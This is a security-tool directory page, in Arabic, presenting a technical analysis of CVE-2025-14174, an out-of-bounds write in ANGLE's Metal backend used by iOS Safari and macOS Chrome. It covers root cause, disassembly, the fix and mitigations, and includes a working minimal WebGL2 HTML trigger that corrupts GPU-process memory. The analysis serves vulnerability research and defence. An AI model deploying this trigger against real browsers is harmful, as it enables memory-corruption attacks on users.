Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-14174-analysis — تحليل و PoC لـ CVE-2025-14174 - كتابة خارج الحدود في ANGLE Metal (iOS Safari, macOS Chrome) | Kitploit
أدوات/GitHubGitHub/typeconfused/cve-2025-14174-analysis
أمان iOSتحليل الثغرات الأمنيةالاستغلالأمن الويبأمن الجوالأمن الأجهزةتحليل الملفات الثنائية
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تحليل و PoC لـ CVE-2025-14174 - كتابة خارج الحدود في ANGLE Metal (iOS Safari, macOS Chrome)

عرض المستودع
11منذ 7 أشهرلم تتم المراجعة بعد

تحليل CVE-2025-14174: كتابة خارج الحدود في مخزن ANGLE Metal المؤقت

تحليل فني وإثبات المفهوم لـ CVE-2025-14174

CVECVE-2025-14174
Severityعالي
Exploited ITWنعم – هجمات موجهة على iOS < 26
AffectediOS Safari، وmacOS Chrome/Chromium/Electron (وليس macOS Safari)
Statusتم التصحيح في commit ANGLE 95a32cb
CreditApple، مجموعة تحليل التهديدات من Google

الاستغلال في البرية

وفقًا لـ Apple، تم استغلال CVE-2025-14174 كجزء من "هجوم شديد التعقيد ضد أفراد محددين" على إصدارات iOS قبل iOS 26.

تضمنت سلسلة الهجوم ما يلي:

  • CVE-2025-14174 (هذا التحليل) – كتابة خارج الحدود في ANGLE Metal
  • CVE-2025-43529 (WebKit Bug 302502) – استخدام بعد التحرير في WebKit

جدول المحتويات

  • الملخص
  • المنصات المتأثرة
  • التأثير
  • السبب الجذري
  • شروط التشغيل
  • التحليل الفني
  • إثبات المفهوم
  • التصحيح
  • ملاحظات الكشف
  • التخفيفات
  • المراجع

الملخص

توجد ثغرة كتابة خارج الحدود (OOB) في النهاية الخلفية Metal لـ ANGLE عند تحميل نسيج العمق عبر مخزن مؤقت (staging buffer). يتم حساب حجم المخزن المؤقت باستخدام GL_UNPACK_IMAGE_HEIGHT بدلاً من ارتفاع النسيج الفعلي. عندما يكون UNPACK_IMAGE_HEIGHT < height، يخصص ANGLE مخزنًا غير كافٍ ثم يكتب عدد height من الصفوف فيه، مما يسبب تلفًا في ذاكرة GPU في عملية التقديم (renderer process).


المنصات المتأثرة

تؤثر هذه الثغرة على التطبيقات التي تستخدم النهاية الخلفية Metal لـ ANGLE لواجهة WebGL:

تفاصيل المنصة

iOS Safari متأثر. على iOS، يستخدم WebKit ANGLE كنهاية خلفية لـ WebGL، مما يجعل Safari على iPhone وiPad عرضة للخطر.

macOS Safari غير متأثر. على macOS، يستخدم Safari Native WebGL الخاص بـ WebKit والذي يتفاعل مباشرة مع Metal، متجاوزًا ANGLE تمامًا.

macOS Chrome متأثر. بدا Google Chrome الذي يعمل على macOS 26.1 عرضة للخطر أثناء الاختبار، لأنه يستخدم النهاية الخلفية Metal لـ ANGLE لواجهة WebGL.

يوجد المسار البرمجي القابل للاستغلال في فئة TextureMtl الخاصة بـ ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).


التأثير

الخطورةالوصف
مؤكدكتابة في النهاية الخلفية لـ GPU/Metal بعد نهاية المخزن المؤقت المؤقت
مؤكد

الخصائص الرئيسية:

  • الخلل صامت في WebGL (يعيد عادةً NO_ERROR)
  • لا توجد عيوب عرض مرئية في معظم الحالات
  • قد لا تكتشف طبقات التحقق من Metal الفائض
  • احتمال عدم استقرار عملية GPU أو استغلالها اعتمادًا على تخطيط الكومة

السبب الجذري

في مسار تحميل نسيج العمق D32F، يحسب ANGLE pixelsDepthPitch من GL_UNPACK_IMAGE_HEIGHT ويستخدم هذه القيمة لحجم MTLBuffer المؤقت. ومع ذلك، فإن الإرسال الحسابي اللاحق (تشبع العمق) يستخدم ارتفاع النسيج الفعلي للتشغيل، مما يسبب كتابة خارج الحدود عند اختلاف المعاملات.

مثال على عدم تطابق الحجم

بالنسبة لـ width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:


شروط التشغيل

يجب أن تكون جميع الشروط التالية صحيحة:

  1. سياق WebGL2 (مطلوب لدعم PBO)
  2. تنسيق نسيج العمق DEPTH_COMPONENT32F (تم التحقق منه؛ قد تتأثر تنسيقات العمق الأخرى أيضًا ولكن لم يتم اختبارها)
  3. كائن Pixel Buffer Object (PBO) مرتبط بـ PIXEL_UNPACK_BUFFER
  4. تعيين GL_UNPACK_IMAGE_HEIGHT إلى قيمة أقل من ارتفاع النسيج الفعلي
  5. النهاية الخلفية ANGLE Metal نشطة (iOS Safari، أو Chrome/Chromium/Electron على macOS)

لماذا لا تمنع WebGL هذا

GL_UNPACK_IMAGE_HEIGHT معرفة بمواصفات GL للتأثير على تحميل نسيج 3D/array، وليس على نسيج 2D. بالنسبة لـ TEXTURE_2D:

  • يتم قبول المعامل ولكنه لا يشارك في التحقق من WebGL
  • لا ترفض WebGL UNPACK_IMAGE_HEIGHT < height للنسيج 2D
  • يستخدم ANGLE هذا المعامل بشكل غير صحيح لحجم المخزن المؤقت المؤقت لتحميلات العمق

التحليل الفني

سلسلة الاستدعاءات القابلة للاستغلال

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← UNDERSIZED
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← USES REAL HEIGHT

الأدلة الثنائية (iOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov  x2, x19              ; x2 = size (undersized depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; call MakeBufferWithStorageMode

الأدلة الثنائية (macOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr  x20, [sp, #0x48]     ; load depthPitch from stack
0x22c6d4628: bl   MakeBufferWithStorageMode

تقوم دالة SaturateDepth لاحقًا بإرسال شيدر حسابي Metal باستخدام أبعاد النسيج الفعلية، فتكتب بعد نهاية المخزن المؤقت المؤقت غير الكافي.


إثبات المفهوم

المحفز الأدنى (WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << smaller than actual height

// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

النتيجة المتوقعة على الأنظمة الضعيفة: يعيد gl.getError() قيمة NO_ERROR على الرغم من حدوث الكتابة خارج الحدود في عملية GPU.


التصحيح

commit ANGLE 95a32cb يصحح تخصيص المخزن المؤقت المؤقت لاستخدام أبعاد النسيج الفعلية:

root@kitploit:~
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

بالإضافة إلى ذلك، تم تصحيح حساب srcBytesPerImage لعملية blit:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

ملاحظات الكشف

من الصعب اكتشاف هذه الثغرة من JavaScript:

  • المخازن المؤقتة المؤقتة هي موارد Metal داخلية في عملية GPU
  • عادةً ما يعيد WebGL قيمة NO_ERROR حتى عند تشغيل الخلل
  • قد لا تشير طبقات التحقق من Metal إلى الفائض
  • لا توجد عيوب عرض مرئية في معظم الحالات
  • يتطلب تتبع استدعاءات API Metal أو تصحيح أخطاء ذاكرة GPU

التخفيفات

النهجالوصف
التحديثطبق تحديثات المنصة التي تحتوي على تصحيح ANGLE
الحل البديلتجنب تعيين UNPACK_IMAGE_HEIGHT أصغر من الارتفاع الفعلي لنسيج العمق

المراجع

  • تصحيح ANGLE: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • خلل Chromium: https://issues.chromium.org/issues/466192044
  • خلل WebKit (CVE-2025-43529): https://webkit.org/b/302502
  • المنصات المتأثرة:
    • iOS: Safari (يستخدم WebKit ANGLE Metal)
    • macOS: Chrome، Chromium، Electron (يستخدمون ANGLE Metal)

الاعتمادات

اكتشاف الثغرة: Apple، مجموعة تحليل التهديدات من Google

التحليل الفني: يوثق هذا التقرير بحثًا مستقلاً وهندسة عكسية للثغرة.


تم إجراء التحليل كجزء من مشروع أبحاث أمان SpiderWebKit.

تنزيل الأداة
المنصةالبرنامجمتأثرملاحظات
iOSSafariنعميستخدم WebKit على iOS ANGLE Metal لـ WebGL
macOSChrome / Chromiumنعميستخدم النهاية الخلفية ANGLE Metal
macOSتطبيقات Electronنعميستخدم تطبيق ANGLE الخاص بـ Chromium
macOSSafariلايستخدم Native Metal WebGL الخاص بـ WebKit، وليس ANGLE
قابل للتكرار عبر WebGL2 + PBO + DEPTH_COMPONENT32F
محتملتعطل عملية GPU أو فقدان السياق تحت ضغط الذاكرة
نظريتلف عبر الموارد في ذاكرة GPU (لم يتم إثباته)
المعاملالحسابالقيمة
طول الصفwidth * sizeof(float)4 بايت
المخزن المؤقت المؤقت (المخصص)rowPitch * UNPACK_IMAGE_HEIGHT512 بايت
الإرسال الحسابي (المكتوب)rowPitch * actualHeight2048 بايت
الكتابة خارج الحدود2048 - 5121536 بايت
الدالةالعنوانالدور
setSubImageImpl0x272fa9028تحسب depthPitch بحجم أصغر
setPerSliceSubImage0x272fac240تخصص مخزنًا مؤقتًا غير كافٍ
MakeBufferWithStorageMode0x272ef19bcتنشئ MTLBuffer بحجم خاطئ
SaturateDepth0x272facfa4تُرسل حسابات بأبعاد فعلية
الدالةالعنوانالدور
setSubImageImpl0x22c6d10f4تحسب depthPitch بحجم أصغر
setPerSliceSubImage0x22c6d4398تخصص مخزنًا مؤقتًا غير كافٍ
MakeBufferWithStorageMode0x22c619490تنشئ MTLBuffer بحجم خاطئ
SaturateDepth0x22c6d5144تُرسل حسابات بأبعاد فعلية
الدفاع في العمق
استخدم تحميلات بحجم ثابت حيث UNPACK_IMAGE_HEIGHT == height